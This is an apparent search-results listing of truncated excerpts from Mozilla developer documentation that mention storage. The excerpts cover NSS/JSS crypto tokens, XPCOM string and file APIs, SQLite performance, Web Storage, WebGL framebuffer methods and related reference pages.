t the basic semantics defined there are applicable here. in that environment, exit() may be called and any time, and results in the calling thread's immediate termination. in the situation where it was defined (unix), which has only a single thread of execution, that is equivalent to terminating the process. the process abstraction is then responsible for closing all open files and reclaiming all storage that may have been allocated during the process' lifetime. this practice does not extend to threads. threads run within the confines of a process (or similar abstractions in other environments). threads are lightweight because they do not maintain the full protection domain provided by a process. so in a threaded environment, what is the parallel to unix' exit()? nspr has defined a function, call...
...ain the full protection domain provided by a process. so in a threaded environment, what is the parallel to unix' exit()? nspr has defined a function, callable by any thread within a process at any time, called pr_processexit(). this is identical to unix exit() and was so named in an effort to make the obvious even more so. when called, the process exits, closing files and reclaiming the process' storage. certain people have been disappointed when nspr did not provide a functional equivalent to exit just a particular thread. apparently they have failed to consider the ramifications. if a thread was to abruptly terminate, there is no recording of what resources it owns and should therefore be reclaimed. those resources are in fact, owned by the process and shared by all the threads within the proc...
JSS Provider Notes
ld to false, and pass the initializationvalues object to cryptomanager.initialize(). specifying the cryptotoken all cryptographic operations in jss and nss occur on a particular pkcs #11 token, implemented in software or hardware. there is no clean way to specify this token through the jca api. by default, the jss provider carries out all operations except messagedigest on the internal key storage token, a software token included in jss/nss. messagedigest operations take place by default on the internal crypto token, another internal software token in jss/nss. there is no good design reason for this difference, but it is necessitated by a quirk in the nss implementation. in order to use a different token, use cryptomanager.setthreadtoken(). this sets the token to be used by the jss jca p...
...oken()) and instructs the new object to use that token for cryptographic operations. the per-thread default token setting is only consulted inside getinstance(). once a jca object has been created it will continue to use the same token, even if the application later changes the per-thread default token. whenever a new thread is created, its token is initialized to the default, the internal key storage token. thus, the thread token is not inherited from the parent thread. the following example shows how you can specify which token is used for various jca operations: // lookup pkcs #11 tokens cryptomanager manager = cryptomanager.getinstance(); cryptotoken tokena = manager.gettokenbyname("tokena"); cryptotoken tokenb = manager.gettokenbyname("tokenb"); // create an rsa keypairgenerator u...
Mozilla-JSS JCA Provider notes
der field to false, and pass the initializationvalues object to cryptomanager.initialize(). specifying the cryptotoken all cryptographic operations in jss and nss occur on a particular pkcs #11 token, implemented in software or hardware. there is no clean way to specify this token through the jca api. by default, the jss provider carries out all operations except messagedigest on the internal key storage token, a software token included in jss/nss. messagedigest operations take place by default on the internal crypto token, another internal software token in jss/nss. there is no good design reason for this difference, but it is necessitated by a quirk in the nss implementation. in order to use a different token, use cryptomanager.setthreadtoken(). this sets the token to be used by the jss jca pro...
...adtoken()) and instructs the new object to use that token for cryptographic operations. the per-thread default token setting is only consulted inside getinstance(). once a jca object has been created it will continue to use the same token, even if the application later changes the per-thread default token. whenever a new thread is created, its token is initialized to the default, the internal key storage token. thus, the thread token is not inherited from the parent thread. the following example shows how you can specify which token is used for various jca operations: // lookup pkcs #11 tokens cryptomanager manager = cryptomanager.getinstance(); cryptotoken tokena = manager.gettokenbyname("tokena"); cryptotoken tokenb = manager.gettokenbyname("tokenb"); // create an rsa keypairgenerator using to...
NSS 3.48 release notes
illa.org/security/nss/releases/nss_3_48_rtm/src/ other releases are available in nss releases. notable changes in nss 3.48 tls 1.3 is the default maximum tls version. see bug 1573118 for details. tls extended master secret is enabled by default, where possible. see bug 1575411 for details. the master password pbe now uses 10,000 iterations by default when using the default sql (key4.db) storage. because using an iteration count higher than 1 with the legacy dbm (key3.db) storage creates files that are incompatible with previous versions of nss, applications that wish to enable it for key3.db are required to set environment variable nss_allow_legacy_dbm_iteration_count=1. applications may set environment variable nss_min_mp_pbe_iteration_count to request a higher iteration count than the...
...hash vector acceleration bug 1589073 - use of new pr_assert_arg in certdb.c bug 1590495 - fix a crash in pk11_makecertfromhandle bug 1591742 - ensure des iv length is valid before usage from pkcs#11 bug 1588567 - enable mozilla::pkix gtests in nss ci bug 1591315 - update nsc_decrypt length in constant time bug 1562671 - increase nss mp kdf default iteration count, by default for modern key4 storage, optionally for legacy key3.db storage bug 1590972 - use -std=c99 rather than -std=gnu99 bug 1590676 - fix build if arm doesn't support neon bug 1575411 - enable tls extended master secret by default bug 1590970 - ssl_settimefunc has incomplete coverage bug 1590678 - remove -wmaybe-uninitialized warning in tls13esni.c bug 1588244 - nss changes for delegated credential key strength checks b...
PKCS11 FAQ
Mozilla › Projects › NSS › PKCS11 › FAQ
nctions (for example, c_digest and c_sign) and those that require overlapped operation (c_unwrap, c_decrypt) are handled by creating new sessions. if no new sessions are available, the one read-only session is used, and the state is saved and restored after each multipart operation. nss never uses parallel mode. nss opens new read/write sessions for key generation, some password management, and storage of new certificates. if your token is read/write and has only one session, nss will open that one initial session read/write. what permanent pkcs #11 objects are used by nss or read from the token? example: rsa private key, ca certificate, user's own certificate, user's name. private keys (rsa and dsa) and the corresponding certificates are read from the token. other certificates on the token ...
...ions based on the keys stored in the user's database and do need authentication. nss does this to avoid having to prompt for a password when performing an rsa verify operation, des encryption, and so on. therefore, nss can move keys around when necessary and possible. when operating in fips mode, moving keys is significantly harder. in this case nss uses a single token to handle both key and cert storage and crypto operations. in general, you not should use different slots unless you have a good reason. much of nss's token selection is based on where the key involved is currently stored. if the token that has your private keys doesn't also do symmetric operations, for example, it's likely that the internal token will end up doing the symmetric operations. is the pkcs #11 module supplied with ns...
Replace
« xpcom api reference summary the replace family of functions sets the value of a string's internal buffer. void replace( index_type acutstart, index_type acutlength, const self_type& astring ); parameters acutstart [in] the starting index of the section to remove, measured in storage units. acutlength [in] the length of the section to remove, measured in storage units. astring [in] a nsacstring to append to this string. void replace( index_type acutstart, size_type acutlength, const char_type* adata, size_type adatalength = pr_uint32_max ); parameters acutstart [in] the starting index of the section to remove, measured in storage units. acutlength [in] the length of the section to remove, measured in storage units. adata [in] a raw character array to...
...acutstart, size_type acutlength, const char_type* adata, size_type adatalength = pr_uint32_max ); parameters acutstart [in] the starting index of the section to remove, measured in storage units. acutlength [in] the length of the section to remove, measured in storage units. adata [in] a raw character array to append to this string. adatalength [in] the length of adata, measured in storage units. if equal to pr_uint32_max, then adata is assumed to be null-terminated. otherwise, adata need not be null terminated. void replace( index_type acutstart, index_type acutlength, char_type achar ); parameters acutstart [in] the starting index of the section to remove, measured in storage units. acutlength [in] the length of the section to remove, measured in storage units. ach...
Replace
« xpcom api reference summary the replace family of functions sets the value of a string's internal buffer. void replace( index_type acutstart, index_type acutlength, const self_type& astring ); parameters acutstart [in] the starting index of the section to remove, measured in storage units. acutlength [in] the length of the section to remove, measured in storage units. astring [in] a nsastring to append to this string. void replace( index_type acutstart, size_type acutlength, const char_type* adata, size_type adatalength = pr_uint32_max ); parameters acutstart [in] the starting index of the section to remove, measured in storage units. acutlength [in] the length of the section to remove, measured in storage units. adata [in] a raw character array to ...
...acutstart, size_type acutlength, const char_type* adata, size_type adatalength = pr_uint32_max ); parameters acutstart [in] the starting index of the section to remove, measured in storage units. acutlength [in] the length of the section to remove, measured in storage units. adata [in] a raw character array to append to this string. adatalength [in] the length of adata, measured in storage units. if equal to pr_uint32_max, then adata is assumed to be null-terminated. otherwise, adata need not be null terminated. void replace( index_type acutstart, index_type acutlength, char_type achar ); parameter acutstart [in] the starting index of the section to remove, measured in storage units. acutlength [in] the length of the section to remove, measured in storage units. acha...
nsIDownloadManager
ly. activedownloads nsisimpleenumerator an enumeration of active nsidownloads. read only. cancleanup boolean whether or not there are downloads that can be cleaned up (removed) that is downloads that have completed, have failed or have been canceled. read only. datasource nsirdfdatasource read only. obsolete since gecko 1.8 dbconnection mozistorageconnection the database connection to the downloads database. read only. defaultdownloadsdirectory nsilocalfile returns the platform default downloads directory. read only. listener nsidownloadprogresslistener the download manager's progress listener. obsolete since gecko 1.8 userdownloadsdirectory nsilocalfile returns the user configured downloads...
...be stored but is not equal to the target file). the file will be moved to the location indicated by atarget when the download is complete. this may be null. acancelable an object that can be used to abort the download. must not be null. aisprivate indicates whether this download should be considered private (ie. to be removed at the end of the private browsing session, cached in non-permanent storage, etc.) return value the newly created download item with the passed-in properties. addlistener() adds a listener to the download manager. void addlistener( in nsidownloadprogresslistener alistener ); parameters alistener the nsidownloadprogresslistener object to receive status information from the download manager. canceldownload() cancels the download with the specified id if it...
nsIErrorService
tring from the nsresult's module's string bundle. registererrorstringbundle() registers a string bundle url for an error module. void registererrorstringbundle( in short errormodule, in string stringbundleurl ); parameters errormodule the module for which the string bundle is to be registered. should be one of the modules listed in xpcom/base/nserror.h, such as ns_error_module_storage. stringbundleurl the url of the string bundle to register for the module. registererrorstringbundlekey() registers a key in a string bundle for an nsresult error code. void registererrorstringbundlekey( in nsresult error, in string stringbundlekey ); parameters error the nsresult for which the string bundle key is to be registered. stringbundlekey ...
... retrieve the error string from string bundle for the given nsresult. unregistererrorstringbundle() unregisters a string bundle url for an error module. void unregistererrorstringbundle( in short errormodule ); parameters errormodule the module for which the string bundle is to be unregistered. should be one of the modules listed in xpcom/base/nserror.h, such as ns_error_module_storage. unregistererrorstringbundlekey() unregisters a key in a string bundle for an nsresult error code. void unregistererrorstringbundlekey( in nsresult error ); parameters error the nsresult for which the string bundle key is to be unregistered. ...
nsIFile
rd 9.0 / seamonkey 2.6), please see bug 682571. boolean iswritable(); parameters none. return value true if the file or directory may be modified by the user. otherwise it returns false. moveto() this method moves this file to a new location. note: if this method succeeds, this instance will be updated to point to the new file. if the current file path corresponds to a regular file (for storage of bytes), and if the new leaf name identifies a regular file that already exists, then this method will overwrite the destination file. usually, "move" means to relocate the file to a different directory without changing the file's contents or properties, or in fact the file's serial number (inode). that is a very fast operation because it just changes directory information. the actual data doe...
...irectory that is not writable. ns_error_file_destination_not_dir indicates that "newparentdir" exists and is not a directory. native code only! movetonative this method moves this file to a new location. [native character encoding variant] note: if this method succeeds, this instance will be updated to point to the new file. if the current file path corresponds to a regular file (for storage of bytes), and if the new leaf name identifies a regular file that already exists, then this method will overwrite the destination file. usually, "move" means to relocate the file to a different directory without changing the file's contents or properties, or in fact the file's serial number (inode). that is a very fast operation because it just changes directory information. the actual data doe...
Performance
it has generally good performance for a small embedded database. however, many things cause various database operations to be slow. transactions there is overhead associated with each transaction. when you execute a sql statement in isolation, an implicit transaction is created around that statement. when transactions are committed, sqlite does journaling which requires syncing data to disk. this operation is extremely slow. therefore, if you are doing many transactions in a row, you will get significant performance improvements by surrounding them in a transaction. the asynchronous writes discussed below removes most of the immediate penalty of a commit, so you will not notice the problem as much. ...
...is value controls the number of pages of the file that can be kept in memory at once. the page size can be set using the page_size pragma before any operations have been done on the file. you can see an example of setting the maximum cache size to be a percentage of memory in nsnavhistory::initdb in toolkit/components/places/src/nsnavhistory.cpp. sharding the cache between connections by default, storage enables the sqlite shared-cache mode which makes multiple connections to the same database share the same cache. the cache is threadsafe. all you need to do is use services.storage.opendatabase(file). some features (virtual tables, full text indexes) are not compatible with shared cache - then you need to use services.storage.openunshareddatabase(file), which doesn't share the cache. see mozistor...
Index
ired in mail code. some of these are standard events, such as those created by the dom. others are internal to gecko or other parts of mozilla application code. this reference will help you track those events down and learn how to use them. 25 filelink providers thunderbird filelink is a thunderbird feature that makes it easy for users to upload large attachments to web-based storage services such as hightail. 26 nsimsgcloudfileprovider nsimsgcloudfileprovider is the interface that must be implemented by new filelink providers. 27 folder pane interfaces this page contains a list of the interfaces that you'll will most likely use when writing extensions that affect the folder pane. see working with the folder pane for examples and co...
...older pane display missing, thunderbird see https://addons.mozilla.org/thu...er-categories/ for an example. 106 modify message list needscontent, needsupdate, missing, thunderbird this page has no content. enrich mdc by contributing. 107 use sqlite thunderbird if you'd like to use an sqlite database in your extension you'll need to look over the storage docs for an api reference, however this code should get you started. be careful of multi-thread access to your database. 108 folders and message lists guide, thunderbird the folderdisplaywidget for the current folder can be accessed via the global variable gfolderdisplay. this object provides many of the functions required for working with folder views. we'll look at some of ...
Using the Multiple Accounts API
it is also responsible for the creation of any new account-related objects. ...
...ow. if identities are shared between accounts, you will only see that identity once in the list. in the above example, the list of identities would be as follows: alec flett <alecf@mywork.com>) alec flett <alecf@myisp.com>) alec flett <alecfnospam@myisp.com>) relevant api calls: nsimsgaccount.identities nsimsgaccountmanager.allservers: a list of all servers across all accounts storage the accounts are stored in the preferences. the accounts, identities, and servers are all linked via keys. keys are simply internal strings that uniquely identify each account, identity and server. the keys are also used to decide the name of each of the preferences that hold the object's data. as an example, the above structure would be represented in your preferences like this: user_pref("ma...
DirectoryEntrySync - Web APIs
d_err the path was structurally correct, but refers to a resource that does not exist. no_modification_allowed_err this is a permission issue. the target directory or file is not writable. path_exists_err the file already exists. you cannot create another one with the same path. quota_exceeded_error the operation would cause the application to exceed its storage quota. security_err the application does not have permission to access the element referred to by path. [ todo: explain why ] type_mismatch_err the path supplied exists, but it is not a directory. getdirectory() creates or looks up a directory. the method is similar to getfile() with directoryentrysync being passed. void getdirectory ( in domstring path, in opti...
...d_err the path was structurally correct, but refers to a resource that does not exist. no_modification_allowed_err this is a permission issue. the target directory or file is not writable. path_exists_err the file already exists. you cannot create another one with the same path. quota_exceeded_error the operation would cause the application to exceed its storage quota. security_err the application does not have permission to access the element referred to by path. [ todo: explain why ] type_mismatch_err the path supplied exists, but it is not a directory. removerecursively() deletes a directory and all of its contents. you cannot delete the root directory of a file system. if you delete a directory that contains a file th...
EXT_color_buffer_float - Web APIs
utorial. availability: this extension is available to webgl 2 contexts only. for webgl 1, see the ext_color_buffer_half_float and webgl_color_buffer_float extensions. extended methods the following sized formats become color-renderable: gl.r16f, gl.rg16f, gl.rgba16f, gl.r32f, gl.rg32f, gl.rgba32f, gl.r11f_g11f_b10f. ...
... gl.rgba32f, gl.r11f_g11f_b10f. color-renderable means: the webglrenderingcontext.renderbufferstorage() method now accepts these formats. framebuffers with attached textures of these formats may now be framebuffer_complete. examples gl must be a webgl2renderingcontext. this extension does not work in webgl 1 contexts. var ext = gl.getextension('ext_color_buffer_float'); gl.renderbufferstorage(gl.renderbuffer, gl.rgba16f, 256, 256); specifications specification status comment ext_color_buffer_floatthe definition of 'ext_color_buffer_float' in that specification. recommendation initial definition for webgl. ...
FileError - Web APIs
Web › API › FileError
you should include them in the arguments of the methods for the sake of the sanity of your users. a web app could fail for various reasons, so you don't want to spend the rest of your day guessing what's going on and going through maddening troubleshooting. don't run your app from file:// for security reasons, browsers do not allow you to run your app from file://. in fact, many of the powerful storage apis (such as file system, blobbuilder, and filereader) throw errors if you run the app locally from file://. when you're just testing your app, and you don't want to set up a web server, you can bypass the security restriction on chrome. just start chrome with the --allow-file-access-from-files flag. use the flag only for testing purposes. attribute attribute type description ...
...eadable_err 4 the file or directory cannot be read, typically due to permission problems that occur after a reference to a file has been acquired (for example, the file or directory is concurrently locked by another application). path_exists_err 12 the file or directory with the same path already exists. quota_exceeded_err 10 either there's not enough remaining storage space or the storage quota was reached and the user declined to give more space to the database. to ask for more storage, see managing html5 offline storage. security_err 2 access to the files were denied for one of the following reasons: the files might be unsafe for access within a web application. too many calls are being made on file resources. other u...
The HTML DOM API - Web APIs
and manipulation of form data. interacting with the contents of 2d images and the context of an html <canvas>, for example to draw on top of them. management of media connected to the html media elements (<audio> and <video>). dragging and dropping of content on webpages. access to the browser navigation history supporting and connective interfaces for other apis such as web components, web storage, web workers, websocket, and server-sent events. html dom concepts and usage in this article, we'll focus on the parts of the html dom that involve engaging with html elements. discussion of other areas, such as drag and drop, websockets, web storage, etc. can be found in the documentation for those apis. structure of an html document the document object model (dom) is an architecture that d...
... of ways in the html dom api. in addition, promiserejectionevent represents the event delivered when a javascript promise is rejected. domstringlist domstringmap errorevent htmlallcollection mimetype mimetypearray promiserejectionevent interfaces belonging to other apis several interfaces are technically defined in the html specification while actually being part of other apis. web storage interfaces the web_storage_api provides the ability for web sites to store data either temporarily or permanently on the user's device for later re-use. storage storageevent web workers interfaces these interfaces are used by the web_workers_api both to establish the ability for workers to interact with an app and its content, but also to support messaging between windows or apps. b...
OVR_multiview2.framebufferTextureMultiviewOVR() - Web APIs
the ovr_multiview2.framebuffertexturemultiviewovr() method of the webgl api attaches a multiview texture to a webglframebuffer. syntax void ext.framebuffertexturemultiviewovr(target, attachment, texture, level, baseviewindex, numviews); parameters target a glenum specifying the binding point (target). possible values: gl.framebuffer: collection buffer data storage of color, alpha, depth and stencil buffers used to render an image. gl.draw_framebuffer: equivalent to gl.framebuffer. used as a destination for drawing, rendering, clearing, and writing operations. gl.read_framebuffer: used as a source for reading operations. attachment a glenum specifying the attachment point for the texture. possible values: gl.color_attachment0: attaches the texture to the framebuffer's co...
..._webgl ext.color_attachment8_webgl ext.color_attachment9_webgl ext.color_attachment10_webgl ext.color_attachment11_webgl ext.color_attachment12_webgl ext.color_attachment13_webgl ext.color_attachment14_webgl ext.color_attachment15_webgl when using the webgl_depth_texture extension: ext.depth_stencil_attachment: depth and stencil buffer data storage. texture a webgltexture object whose image to attach. level a glint specifying the mipmap level of the texture image to be attached. must be 0. baseviewindex a glint specifying the base view index of the framebuffer object attachment. numviews a glsizei specifying the number of views of the framebuffer object attachment. return value none. exceptions a gl.invalid_enum er...
OVR_multiview2 - Web APIs
is taken from the specification. see also this three.js demo for a live multiview example. ...
... shader code #version 300 es #extension gl_ovr_multiview2 : require precision mediump float; layout (num_views = 2) in; i...
Permissions.query() - Web APIs
Web › API › Permissions › query
name-value pairs. the available options are: name: the name of the api whose permissions you want to query. an up-to-date list of permission names can be found in the spec under the permissionname enum, but bear in mind that the actual permissions supported by browsers is currently much smaller than this. firefox for example currently supports geolocation, notifications, push, and persistent-storage (see our permissions.webidl file). uservisibleonly: (push only, not supported in firefox — see the browser support section below) indicates whether you want to show a notification for every message or be able to send silent push notifications. the default is false. sysex: (midi only) indicates whether you need and/or receive system exclusive messages. the default is false. note: as o...
... is false. sysex: (midi only) indicates whether you need and/or receive system exclusive messages. the default is false. note: as of firefox 44, the permissions for notifications and push have been merged. if permission is granted (e.g. by the user, in the relevant permissions dialog), navigator.permissions.query() will return true for both notifications and push. note: the persistent-storage permission allows an origin to use a persistent box (i.e persistent storage) for its storage, as per the storage api. returns a promise that resolves to a permissionstatus object. exceptions exception explanation typeerror retrieving the permissiondescriptor information failed in some way, or the permission doesn't exist or is currently unsupported (e.g. midi, or ...
SubtleCrypto - Web APIs
ypto.importkey() returns a promise that fulfills with a cryptokey corresponding to the format, the algorithm, raw key data, usages, and extractability given as parameters. subtlecrypto.exportkey() returns a promise that fulfills with a buffer containing the key in the requested format. subtlecrypto.wrapkey() returns a promise that fulfills with a wrapped symmetric key for usage (transfer and storage) in insecure environments. the wrapped key matches the format specified in the given parameters, and wrapping is done by the given wrapping key, using the specified algorithm. subtlecrypto.unwrapkey() returns a promise that fulfills with a cryptokey corresponding to the wrapped key given in the parameter. using subtlecrypto we can split the functions implemented by this api into two groups: ...
...an unencrypted format. if the key is sensitive you should use wrapkey(), which exports the key and then encrypts it using another key; the api calls a "key-wrapping key". the inverse of wrapkey() is unwrapkey(), which decrypts then imports the key. storing keys cryptokey objects can be stored using the structured clone algorithm, meaning that you can store and retrieve them using standard web storage apis. the specification expects that most developers will use the indexeddb api to store cryptokey objects. supported algorithms the cryptographic functions provided by the web crypto api can be performed by one or more different cryptographic algorithms: the algorithm argument to the function indicates which algorithm to use. some algorithms need extra parameters: in these cases the algorithm ...
WebGLRenderingContext.framebufferRenderbuffer() - Web APIs
the webglrenderingcontext.framebufferrenderbuffer() method of the webgl api attaches a webglrenderbuffer object to a webglframebuffer object. syntax void gl.framebufferrenderbuffer(target, attachment, renderbuffertarget, renderbuffer); parameters target a glenum specifying the binding point (target) for the framebuffer. possible values: gl.framebuffer: collection buffer data storage of color, alpha, depth and stencil buffers used to render an image. when using a webgl 2 context, the following values are available additionally: gl.draw_framebuffer: equivalent to gl.framebuffer. used as a destination for drawing, rendering, clearing, and writing operations. gl.read_framebuffer: used as a source for reading operations. attachment a glenum specifying the attach...
...ent8_webgl ext.color_attachment9_webgl ext.color_attachment10_webgl ext.color_attachment11_webgl ext.color_attachment12_webgl ext.color_attachment13_webgl ext.color_attachment14_webgl ext.color_attachment15_webgl renderbuffertarget a glenum specifying the binding point (target) for the render buffer. possible values: gl.renderbuffer: buffer data storage for single images in a renderable internal format. renderbuffer a webglrenderbuffer object to attach. return value none. exceptions a gl.invalid_enum error is thrown if target is not gl.framebuffer, gl.draw_framebuffer, or gl.read_framebuffer. a gl.invalid_enum error is thrown if renderbuffertarget is not gl.renderbuffer. a gl.invalid_enum error is thrown if attachment is not one o...
WebGLRenderingContext.framebufferTexture2D() - Web APIs
the webglrenderingcontext.framebuffertexture2d() method of the webgl api attaches a texture to a webglframebuffer. syntax void gl.framebuffertexture2d(target, attachment, textarget, texture, level); parameters target a glenum specifying the binding point (target). possible values: gl.framebuffer: collection buffer data storage of color, alpha, depth and stencil buffers used to render an image. when using a webgl 2 context, the following values are available additionally: gl.draw_framebuffer: equivalent to gl.framebuffer. used as a destination for drawing, rendering, clearing, and writing operations. gl.read_framebuffer: used as a source for reading operations. attachment a glenum specifying the attachment point for the texture. possible val...
...7_webgl ext.color_attachment8_webgl ext.color_attachment9_webgl ext.color_attachment10_webgl ext.color_attachment11_webgl ext.color_attachment12_webgl ext.color_attachment13_webgl ext.color_attachment14_webgl ext.color_attachment15_webgl when using the webgl_depth_texture extension: gl.depth_stencil_attachment: depth and stencil buffer data storage. textarget a glenum specifying the texture target. possible values: gl.texture_2d: a 2d image. gl.texture_cube_map_positive_x: image for the positive x face of the cube. gl.texture_cube_map_negative_x: image for the negative x face of the cube. gl.texture_cube_map_positive_y: image for the positive y face of the cube. gl.texture_cube_map_negative_y: image for the negative...
WebGLRenderingContext - Web APIs
ror information. webglrenderingcontext.hint() specifies hints for certain behaviors. the interpretation of these hints depend on the implementation. webglrenderingcontext.isenabled() tests whether a specific webgl capability is enabled or not for this context. webglrenderingcontext.linewidth() sets the line width of rasterized lines. webglrenderingcontext.pixelstorei() specifies the pixel storage modes webglrenderingcontext.polygonoffset() specifies the scale factors and units to calculate depth values. webglrenderingcontext.samplecoverage() specifies multi-sample coverage parameters for anti-aliasing effects. webglrenderingcontext.stencilfunc() sets the both front and back function and reference value for stencil testing. webglrenderingcontext.stencilfuncseparate() sets the front...
...enderingcontext.createrenderbuffer() creates a webglrenderbuffer object. webglrenderingcontext.deleterenderbuffer() deletes a webglrenderbuffer object. webglrenderingcontext.getrenderbufferparameter() returns information about the renderbuffer. webglrenderingcontext.isrenderbuffer() returns a boolean indicating if the passed webglrenderingbuffer is valid. webglrenderingcontext.renderbufferstorage() creates a renderbuffer data store. textures webglrenderingcontext.bindtexture() binds a webgltexture object to a given target. webglrenderingcontext.compressedteximage2d() specifies a 2d texture image in a compressed format. webglrenderingcontext.compressedtexsubimage2d() specifies a 2d texture sub-image in a compressed format. webglrenderingcontext.copyteximage2d() copies a 2d tex...
Data in WebGL - Web APIs
Web › API › WebGL API › Data
attributes attributes are glsl variables which are only available to the vertex shader (as variables) and the javascript code. ...
... which has a specific use case. each kind of variable is accessible by one or both types of shader program (depending on the data store type) and possibly by the site's javascript code, depending on the specific type of variable. glsl data types <<document the basic types, vectors, etc; see data type (glsl) on the khronos webgl wiki>> glsl variables there are three kinds of "variable" or data storage available in glsl, each of which with its own purpose and use cases: attributes, varyings, and uniforms. attributes attributes are glsl variables which are only available to the vertex shader (as variables) and the javascript code. attributes are typically used to store color information, texture coordinates, and any other data calculated or retrieved that needs to be shared between the javascr...
Movement, orientation, and motion: A WebXR example - Web APIs
.create(); const inverseorientation = quat.create(); const radians_per_degree = math.pi / 180.0; the first two—viewerstartposition and viewerstartorientation—indicate where the viewer will be placed relative to the center of the space, and the direction in which they'll initially be looking. ...
... logging errors a function called logglerror() is implemented to provide an easily customized way to output logging information for errors that occur while executing webgl functions. ...
Window.requestFileSystem() - Web APIs
; only chrome implements it, and all other browser makers have decided that they will not implement it. it has even been removed from the proposed specification. do not use this method! syntax this method is prefixed with webkit in all browsers that implement it (that is, google chrome). ...
...the proposed specification. do not use this method! syntax this method is prefixed with webkit in all browsers that implement it (that is, google chrome). window.requestfilesystem(type, size, successcallback[, errorcallback]); parameters type the type of storage to request. specify window.temporary if it's acceptable for the browser to delete the files at its own discretion, such as if storage space runs low, or window.persistent if you need the files to remain in place unless the user or the web site or app explicitly permit it. persistent storage requires that the user grant the site quota. size the amount of storage space you wish to have allocated for your app's use. successcallback a function which is invoked when the file system has been successfully obtained. the callback re...
Using XMLHttpRequest - Web APIs
console.log(this.getresponseheader("last-modified")); /* a valid gmtstring date or null */ } var oreq = new xmlhttprequest(); oreq.open("head" /* use head if you only need the headers! ...
...ders! */, "yourpage.html"); oreq.onload = getheadertime; oreq.send(); do something when last modified date changes let's create two functions: function getheadertime () { var nlastvisit = parsefloat(window.localstorage.getitem('lm_' + this.filepath)); var nlastmodif = date.parse(this.getresponseheader("last-modified")); if (isnan(nlastvisit) || nlastmodif > nlastvisit) { window.localstorage.setitem('lm_' + this.filepath, date.now()); isfinite(nlastvisit) && this.callback(nlastmodif, nlastvisit); } } function ifhaschanged(surl, fcallback) { var oreq = new xmlhttprequest(); oreq.open("head" /* use head - we only need the headers! */, surl); oreq.callback = fcallback; oreq.filepath = surl; oreq.onload = getheadertime; oreq.send(); } and to test: /* let's test the f...
HTML documentation index - HTML: Hypertext Markup Language
Web › HTML › Index
html (hypertext markup language) is the most basic building block of the web. it defines the meaning and structure of web content. other technologies besides html are generally used to describe a web page's appearance/presentation (css) or functionality/behavior (javascript). 2 allowing cross-origin use of images and canvas advanced, cors, canvas, html, image, reference, security, storage, data html provides a crossorigin attribute for images that, in combination with an appropriate cors header, allows images defined by the <img> element that are loaded from foreign origins to be used in a <canvas> as if they had been loaded from the current origin. 3 applying color to html elements using css beginner, css, css colors, guide, html, html colors, html styles, st...
... <input> elements of type email are used to let the user enter and edit an e-mail address, or, if the multiple attribute is specified, a list of e-mail addresses. 126 <input type="file"> directory picker, file, file picker, files, form input, html, html forms, input type, reference, type <input> elements with type="file" let the user choose one or more files from their device storage. once chosen, the files can be uploaded to a server using form submission, or manipulated using javascript code and the file api. 127 <input type="hidden"> element, forms, html, html forms, input, input types, reference, hidden <input> elements of type hidden let web developers include data that cannot be seen or modified by users when a form is submitted. for example, the id...
Using the application cache - HTML: Hypertext Markup Language
s an error event, and the update halts. once all the files have been successfully retrieved, they are moved into the real offline cache automatically, and a cached event is sent to the applicationcache object. since the document has already been loaded into the browser from the cache, the updated document will not be rendered until the document is reloaded (either manually or programatically). storage location and clearing the offline cache in chrome you can clear the offline cache by selecting "clear browsing data..." in the preferences or by visiting chrome://appcache-internals/. safari has a similar "empty cache" setting in its preferences but a browser restart may also be required. in firefox, the offline cache data is stored separately from the firefox profile—next to the regular disk...
...emove..." button in tools -> options -> advanced -> network -> offline data. prior to firefox 11, neither tools -> clear recent history nor tools -> options -> advanced -> network -> offline data -> clear now cleared the offline cache. this has been fixed. on linux, you can find the setting at edit > preferences > advanced > network > offline web content and user data see also clearing the dom storage data. application caches can also become obsolete. if an application's manifest file is removed from the server, the browser removes all application caches that use that manifest, and sends an "obsoleted" event to the applicationcache object. this sets the application cache's state to obsolete. the cache manifest file referencing a cache manifest file the manifest attribute in a web applicati...
JavaScript data types and data structures - JavaScript
idered a bad practice. javascript offers other means to represent a set of booleans (like an array of booleans, or an object with boolean values assigned to named properties). bit masking also tends to make the code more difficult to read, understand, and maintain. it may be necessary to use such techniques in very constrained environments, like when trying to cope with the limitations of local storage, or in extreme cases (such as when each bit over the network counts). this technique should only be considered when it is the last measure that can be taken to optimize size. bigint type the bigint type is a numeric primitive in javascript that can represent integers with arbitrary precision. with bigints, you can safely store and operate on large integers even beyond the safe integer limit for...
...tion operator (+) or string.concat(). beware of "stringly-typing" your code! it can be tempting to use strings to represent complex data. doing this comes with short-term benefits: it is easy to build complex strings with concatenation. strings are easy to debug (what you see printed is always what is in the string). strings are the common denominator of a lot of apis (input fields, local storage values, xmlhttprequest responses when using responsetext, etc.) and it can be tempting to only work with strings. with conventions, it is possible to represent any data structure in a string. this does not make it a good idea. for instance, with a separator, one could emulate a list (while a javascript array would be more suitable). unfortunately, when the separator is used in one of the "list"...
JSON.stringify() - JavaScript
tion. ...
...': 650, 'height': 350 }); session.screens.push({ 'name': 'screenc', 'width': 750, 'height': 120 }); session.screens.push({ 'name': 'screend', 'width': 250, 'height': 60 }); session.screens.push({ 'name': 'screene', 'width': 390, 'height': 120 }); session.screens.push({ 'name': 'screenf', 'width': 1240, 'height': 650 }); // converting the json string with json.stringify() // then saving with localstorage in the name of session localstorage.setitem('session', json.stringify(session)); // example of how to transform the string generated through // json.stringify() and saved in localstorage in json object again var restoredsession = json.parse(localstorage.getitem('session')); // now restoredsession variable contains the object that was saved // in localstorage console.log(restoredsession); well...
Digital audio concepts - Web media technologies
reo audio, each sample taken from the analog signal is recorded as two 16-bit integers, one for the left channel and one for the right. that means each sample requires 32 bits of memory. at the common sample rate of 48 khz (48,000 samples per second), this means each second of audio occupies 192 kb of memory. therefore, a typical three-minute song requires about 34.5 mb of memory. that's a lot of storage, but worse, it's an insane amount of network bandwidth to use for a relatively short piece of audio. that's why most digital audio is compressed. the process of compressing and decompressing audio is performed by encoding and decoding it using an audio codec (coder/decoder). over the years, a large variety of codecs have been developed, several of which are commonly used on the web. for details ...
...ed audio audio loops and samples used in music and sound effects production work situations in which audio clips or samples may be remixed and then compressed; using lossless audio for the mastering process avoids compressing previously compressed data, resulting in additional quality loss factors that may recommend the use of lossy compression include: very large source audio constrained storage (either because the storage space is small, or because there's a large amount of sound to store into it) a need to constrain the network bandwidth required to broadcast the audio; this is especially important for live streams and teleconferencing psychoacoustics 101 diving into the details of psychoacoustics and how audio compression works is far beyond the scope of this article, but it is us...
Progressive web apps (PWAs)
